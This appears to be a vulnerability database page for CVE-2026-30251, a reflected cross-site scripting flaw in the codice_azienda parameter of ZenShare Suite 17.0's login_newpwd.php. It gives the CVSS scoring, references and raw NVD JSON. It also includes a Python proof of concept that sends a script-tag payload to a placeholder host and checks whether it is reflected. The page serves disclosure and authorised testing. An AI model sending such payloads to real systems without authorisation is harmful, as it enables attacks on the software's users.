CVE-2026-30251

Description

A reflected cross-site scripting (XSS) vulnerability in the login_newpwd.php endpoint of Interzen Consulting S.r.l ZenShare Suite v17.0 allows attackers to execute arbitrary Javascript in the context of the user's browser via a crafted URL injected into the codice_azienda parameter.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:interzen:zenshare_suite:17.0:*:*:*:*:*:*:* - VULNERABLE

Interzen Consulting S.r.l ZenShare Suite 17.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Proof of Concept (PoC) for CVE-2026-30251
# Vulnerable Endpoint: login_newpwd.php
# Vulnerable Parameter: codice_azienda

import requests

def check_xss(target_url):
    # Malicious JavaScript payload
    payload = "<script>alert('CVE-2026-30251_XSS');</script>"
    
    # Construct the full URL with the vulnerable parameter
    params = {
        "codice_azienda": payload
    }
    
    try:
        response = requests.get(target_url, params=params, timeout=10)
        
        # Check if the payload is reflected unmodified in the response
        if payload in response.text:
            print(f"[+] Vulnerability detected at: {response.url}")
            print("[+] The payload was reflected in the response.")
        else:
            print("[-] Payload not found or encoded. Vulnerability might be patched.")
    except Exception as e:
        print(f"Error occurred: {e}")

if __name__ == "__main__":
    target = "http://example.com/login_newpwd.php" # Replace with actual target
    check_xss(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-30251
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-30251
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-30251/
[4] VulDB https://vuldb.com/cve/CVE-2026-30251
[5] https://github.com/skit-cyber-security/ZenShare-Suite

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-30251", "sourceIdentifier": "[email protected]", "published": "2026-04-02T21:16:40.357", "lastModified": "2026-04-09T01:10:50.147", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A reflected cross-site scripting (XSS) vulnerability in the login_newpwd.php endpoint of Interzen Consulting S.r.l ZenShare Suite v17.0 allows attackers to execute arbitrary Javascript in the context of the user's browser via a crafted URL injected into the codice_azienda parameter."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:interzen:zenshare_suite:17.0:*:*:*:*:*:*:*", "matchCriteriaId": "9AEADCA9-F816-480D-A777-35778BFD1794"}]}]}], "references": [{"url": "https://github.com/skit-cyber-security/ZenShare-Suite", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}